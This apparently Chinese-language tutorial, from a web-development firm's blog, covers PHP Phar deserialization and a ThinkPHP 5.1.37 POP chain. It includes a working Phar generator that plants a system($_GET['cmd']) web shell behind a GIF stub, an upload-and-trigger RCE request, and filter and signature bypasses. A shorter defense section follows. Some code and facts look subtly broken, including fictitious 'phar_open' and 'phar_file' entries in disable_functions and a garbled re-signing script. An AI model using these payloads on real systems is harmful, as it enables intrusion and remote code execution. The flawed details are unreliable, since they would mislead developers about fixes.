PHP 5.3-8.0 Phar反序列化漏洞:从原理到ThinkPHP 5.1.37实战利用
2026/7/8 20:42:28 网站建设 项目流程

PHP Phar反序列化漏洞深度解析:从原理到ThinkPHP 5.1.37实战

1. 漏洞背景与核心原理

Phar(PHP Archive)是PHP中类似JAR的打包格式,自PHP 5.3起默认支持。这种机制允许将多个PHP文件组合成单个归档文件,无需解压即可执行。但正是这种便利性,带来了严重的安全隐患。

漏洞核心在于:Phar文件会以序列化形式存储用户自定义的meta-data,当PHP解析phar://协议时,会自动反序列化这些数据。这意味着即使代码中没有直接调用unserialize(),只要存在文件操作函数配合phar://协议,就可能触发反序列化漏洞。

// 典型漏洞触发场景示例 file_get_contents('phar://malicious.phar/internal_file.txt');

2. Phar文件结构深度剖析

一个完整的Phar文件包含四个关键部分:

  1. Stub
    文件标识头,格式为xxx<?php __HALT_COMPILER();?>,必须以__HALT_COMPILER()结尾。前面的内容可任意修改,这为绕过文件类型检测提供了可能。

  2. Manifest
    存储压缩文件的元信息,包括:

    • 文件权限和属性
    • 用户自定义的meta-data(序列化形式存储)
    • CRC32校验值等
  3. File Contents
    实际压缩的文件内容

  4. Signature(可选)
    文件签名,支持多种哈希算法

3. 漏洞利用条件与限制

必要条件

  • PHP版本5.3-8.0(PHP 8.0+已修复)
  • 存在可上传Phar文件到服务器的途径
  • 存在可利用的魔术方法(如__destruct、__wakeup)
  • 文件操作函数的参数可控且未过滤特殊字符

影响函数列表

函数类别典型函数示例
文件检查file_exists、is_dir
文件内容操作file_get_contents、file_put_contents
压缩文件处理zip_open、zip_read
图像处理exif_thumbnail、exif_imagetype

4. 实战:ThinkPHP 5.1.37利用链构建

4.1 环境准备与Phar生成

首先确保php.ini配置:

phar.readonly = Off

生成恶意Phar文件的典型代码:

<?php class Exploit { public function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 伪装为GIF $phar->setMetadata(new Exploit()); $phar->addFromString('test.txt', 'payload'); $phar->stopBuffering();

4.2 ThinkPHP特定利用链

ThinkPHP 5.1.37中存在经典POP链:

think\process\pipes\Windows -> think\model\Pivot -> think\Model

关键利用点:

  1. Windows类__destruct触发文件删除操作
  2. Pivot类继承Model,可控制$data$append属性
  3. Request类filter属性可导致命令执行

4.3 完整攻击流程

  1. 上传伪装文件
    将生成的exploit.phar重命名为avatar.jpg上传

  2. 触发反序列化
    通过可控参数调用:

    file_get_contents('phar://path/to/avatar.jpg')
  3. RCE实现
    构造请求:

    http://target.com/vuln.php?file=phar://upload/avatar.jpg&cmd=whoami

5. 高级绕过技术

5.1 协议前缀绕过

当phar://被过滤时,可尝试:

compress.zlib://phar:///path/to/file php://filter/resource=phar:///path/to/file

5.2 文件签名绕过

通过修改文件签名部分,保持原始哈希有效:

# Python签名修复示例 import hashlib with open('modified.phar', 'rb') as f: content = f.read() signature = content[-28:-20] new_sig = hashlib.sha1(content[:-28]).digest() new_content = content[:-28] + new_sig + signature

5.3 元数据隐藏技巧

将恶意数据隐藏在压缩文件注释中:

$zip = new ZipArchive(); $zip->open('exploit.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'innocent'); $zip->setArchiveComment(serialize($maliciousObj)); $zip->close();

6. 防御方案与最佳实践

开发人员防护

  1. 禁用危险函数:
    disable_functions = phar_open, phar_file
  2. 严格过滤输入:
    $allowed = ['jpg', 'png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($ext, $allowed)) die('Invalid file');
  3. 使用最新PHP版本(≥8.0)

系统管理员建议

  • 配置open_basedir限制文件访问范围
  • 定期更新Web应用框架
  • 部署WAF规则拦截phar://等危险协议

7. 漏洞修复与版本影响

PHP版本修复情况:

PHP版本修复状态备注
<5.3不受影响不支持Phar扩展
5.3-7.4受影响需手动修复
≥8.0已修复默认禁用meta-data反序列化

对于必须使用旧版本的环境,建议:

// 在代码中主动检查Phar文件 if (preg_match('/^phar:/i', $filepath)) { throw new Exception('Phar protocol not allowed'); }

8. 实战经验与调试技巧

调试技巧

  1. 使用xdebug跟踪反序列化过程
  2. 查看PHP错误日志定位问题
  3. 通过phar://协议直接查看Phar内容:
    print_r(new Phar('exploit.phar'));

常见踩坑点

  • Windows系统路径需要使用phar://C:/path格式
  • 文件权限问题导致Phar无法读取
  • 魔术方法触发顺序不符合预期

在实际渗透测试中,曾遇到一个案例:通过CMS的模板上传功能,将Phar文件伪装为CSS文件上传,最终利用file_exists()检查触发RCE。这种组合利用方式往往能绕过常规防护。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询